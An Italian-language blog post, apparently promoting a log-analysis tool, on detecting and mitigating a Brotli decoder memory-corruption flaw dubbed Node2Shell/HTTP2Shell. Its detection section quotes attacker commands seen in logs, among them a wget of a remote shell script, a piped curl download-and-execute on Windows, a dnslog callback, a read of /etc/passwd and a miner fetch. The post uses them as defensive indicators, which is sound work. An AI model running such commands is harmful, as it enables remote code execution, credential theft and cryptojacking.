Rilevamento Node2Shell/HTTP2Shell

Il rilevamento di Node2Shell/HTTP2Shell è più difficile di quanto sembri, perché la vulnerabilità non è confinata a un solo prodotto. Node2Shell, chiamato anche HTTP2Shell, è CVE-2026-111497: una scrittura fuori dai limiti nel decoder C Brotli di Google, versioni dalla 1.0.3 alla 1.2.0, con un punteggio CVSS 4.0 di 9.2. Poiché il difetto si trova in una libreria di compressione condivisa, raggiunge Node.js, i pacchetti Brotli di Python, Bun, curl, Envoy e altri software che decodificano Brotli.

Questo articolo copre la rilevazione di Node2Shell/HTTP2Shell utilizzando un campione di log analizzato in LogTotal, uno strumento di analisi dei log che abbina gli eventi alle minacce conosciute. Di seguito, trattiamo il contesto della vulnerabilità, la fonte del log, ciò che ha riportato LogTotal e come rispondere.

Inizia gratis

Analisi di Node2Shell (HTTP2Shell)

Il codice vulnerabile si trova nelle versioni del decoder C Brotli dalla 1.0.3 alla 1.2.0. Google, come autorità di numerazione, l’ha classificato 9.2 secondo il CVSS 4.0, mentre Node.js lo valuta Elevato. Per leggere correttamente il campione di log, è utile sapere come viene attivato il bug, come è stato rivelato e quali versioni di software e configurazioni sono esposte.

Dettagli della vulnerabilità per Node2Shell

Uno stream Brotli che dichiarava un solo tipo di blocco e poi cambiava blocchi non veniva respinto, quindi la decodifica continuava in uno stato non valido e scriveva oltre un buffer. Qualsiasi processo che decomprime dati Brotli controllati da un aggressore può essere colpito, in due direzioni:

• In entrata: un corpo di richiesta HTTP compresso con Brotli creato ad arte inviato a un server che lo decodifica.
• In uscita: una risposta creata ad arte restituita a un client che la recupera.

Il bug ha diversi nomi. Node2Shell è arrivato per primo perché Node.js l’ha rivelato e risolto prima. HTTP2Shell riflette il fatto che raggiunge qualsiasi stack che decodifica Brotli su HTTP, e alcune coperture utilizzano anche Python2Shell e Broccoli2Shell.

Cronologia della divulgazione e dello sfruttamento

Il bug stesso è stato distribuito in Brotli 1.0.3 nel marzo 2018. Khai Tran e Sylvie Mayer di OpenAI Codex Security lo hanno riportato a Node.js. Esiste una prova pubblica di concetto, Imperva ed ELLIO hanno entrambi riprodotto l’esecuzione di codice contro build ufficiali di Node.js, e scanner che mappano quali host decompresso Brotli sono già in uso. L’esecuzione di codice non è stata dimostrata per i pacchetti Python, anche se si bloccano su input dannosi, come mostra il crash web-prod-01 in questo campione.

Versioni e correzioni interessate da Node2Shell

Una versione vulnerabile è esposta solo se i dati dell’aggressore possono raggiungere il decoder. In Node.js, quel percorso esiste tramite Express 5, body-parser 2.x, i parser di corpo Koa, @fastify/compress con decompressione delle richieste, fetch() e chiamate dirette node:zlib Brotli. In Python, requests, httpx, aiohttp e Scrapy utilizzano il pacchetto brotli o brotlicffi ogni volta che è installato. In .NET, la decompressione di Brotli è disattivata per impostazione predefinita, ed Envoy e Istio sono esposti solo con il decompressore Brotli abilitato. curl decodifica Brotli solo con –compressed, tramite la libreria di sistema libbrotli, quindi è necessario un pacchetto di distribuzione corretto; Debian e Red Hat hanno distribuito quelli corretti.

Fonte e raccolta del log

Host nel campione

Tre host appaiono nei dati grezzi, su due sistemi operativi. Ognuno mostra una parte diversa dell’esposizione di Node2Shell.

Rileva Node2Shell (HTTP2Shell)

LogTotal ha elaborato 11 righe in 5,3 secondi e ha corrisposto 23 regole su 10 righe. Ha formato 2 catene, ne ha riportata 1 e ne ha filtrata 1 al passaggio di verifica AI.

La catena riportata è Node2Shell / HTTP2Shell è una vulnerabilità critica (CVE-2026-111497): Alta, 100% corrispondenza, 2 regole attivate. Si trova su un host pseudonimizzato tra le 11:30 e le 11:31 UTC, e quella finestra ed evidence corrispondono ad app-node-01.

Sfruttamento: il crash del decoder Brotli

La regola “Possibile Tentativo di Esploit CVE-2026-111497 (HTTP2Shell / Node2Shell) – Crash Nativo del Decoder Brotli” ha corrisposto a un segfault del nodo in libbrotlidec.so.1.1.0. Lo stack del core dump è coronato da BrotliDecoderDecompressStream.

Il rapporto mappa questo crash a negazione del servizio (T1499.004), che è il punto da cui deriva la fase di Impatto. L’ultimo colpo della regola, alle 11:33, cade sul crash di python3 in _brotli.cpython-311 su web-prod-01, che mostra la stessa libreria fallendo in un secondo runtime.

Post-exploitation su Linux

“Processi Figlio NodeJS Sospetti [Linux]” si è attivata 4 volte mentre il nodo /opt/app/server.js ha generato:

• curl che recupera lo script di configurazione miner C3Pool XMRig pubblico
• wget http://198.51.100.23:3000/s.sh
• ping -c 1 5axzi7.dnslog.cn, un controllo callback fuori banda
• cat /etc/passwd

Post-exploitation su Windows, al di fuori della catena

La metà Windows del campione si trova al di fuori della catena riportata ma merita la stessa attenzione. Su win-dev-01, node.exe ha generato cmd.exe /c “curl -s https://198.51.100.23/api/w | cmd”, un pattern di download-and-execute, e poi un powershell.exe nascosto che esegue whoami.

Le regole che si sono attivate su questa attività includono Processi Figlio NodeJS Sospetti [Windows], Read Contents From Stdin Via Cmd.EXE, e Cmdlet Powershell Sospetti. La catena filtrata, Meet AvisLoader: A Windows Loader Built to Outlast a Takedown (High), è stata guidata dalle esecuzioni di curl.

Indicatori di Compromesso (IOC) di Node2Shell da questo campione

Utilizzare i risultati di LogTotal nel triage di Node2Shell

Inizia dalla catena riportata per confermare lo sfruttamento su app-node-01, quindi procedi attraverso ogni altra conclusione al di fuori della catena. In questo campione, le regole fuori catena e la catena filtrata indicano altri due host compromessi, web-prod-01 e win-dev-01.

Mitigazione Node2Shell (HTTP2Shell)

Applicare la patch solo a Node.js non chiude Node2Shell, perché il difetto risiede nel decoder condiviso di Brotli. Ogni runtime o proxy che decodifica Brotli necessita di un aggiornamento, e ogni host nel campione deve essere coperto.

Applicare la patch a ogni consumatore di Brotli

1. Trova i servizi su Node.js al di sotto della versione 22.23.4, 24.22.1 o 26.12.1, su una linea Node.js fine supporto, o su Bun al di sotto di 1.4.4, inclusi le immagini base e gli host di build.
2. Applica prima la patch ai servizi che decompressano i corpi delle richieste (Express 5, body-parser 2.x, i parser di corpo Koa, @fastify/compress), recuperano URL forniti dall’utente, o passano dati non fidati alle funzioni node:zlib Brotli.
3. Aggiorna il runtime, quindi riavvia i processi e ricostruisci le immagini dei container, incluse app .NET autonome e binari costruiti con bun build –compile.
4. Aggiorna PyPI brotli a 1.2.1 e brotlicffi a 1.2.1.0, e aggiorna il runtime .NET, Envoy, Istio, e i pacchetti distributivi brotli.
5. Passa a una versione più recente al di fuori delle linee fine supporto di Node.js 20 che non riceveranno correzioni.
6. Fino a quando le patch non saranno disponibili, rifiuta Content-Encoding: br nel WAF o nel proxy, confrontandolo in modo insensibile all’uso delle maiuscole e all’interno di elenchi come “gzip, br”. Questo non copre le risposte Brotli lette da fetch().

Risposta consigliata da LogTotal

1. Isolare l’host.
2. Raccogli dati di processo, sistema e rete per 11:30–11:33 UTC.
3. Verifica il livello di patch di Node.js: 22.23.4, 24.22.1 o 26.12.1.
4. Rimuovi i binari non autorizzati.
5. Rifiuta Content-Encoding: br non fidato nel WAF.
6. Esegui Node.js senza privilegi.
7. Disabilita la decompressione automatica di Brotli dove possibile.

Passaggi aggiuntivi dalle prove grezze

1. Allarga il campo a win-dev-01 e web-prod-01, non solo app-node-01.
2. Blocca all’uscita 198.51.100.23 e *.dnslog.cn.
3. Verifica la presenza di un miner: voci cron, unità systemd e un processo xmrig in esecuzione.
4. Presumi che /etc/passwd sia stato letto e verifica gli account di conseguenza.
5. Caccia per node, node.exe, o python3 che generano shell, downloader, o strumenti di rete.

Monitoraggio continuo di Node2Shell

Inoltra i messaggi del kernel e systemd-coredump insieme agli eventi di processo EDR. In questo campione, lo stack di coredump era l’unica prova diretta di sfruttamento, e gli eventi EDR hanno portato tutto ciò che è seguito.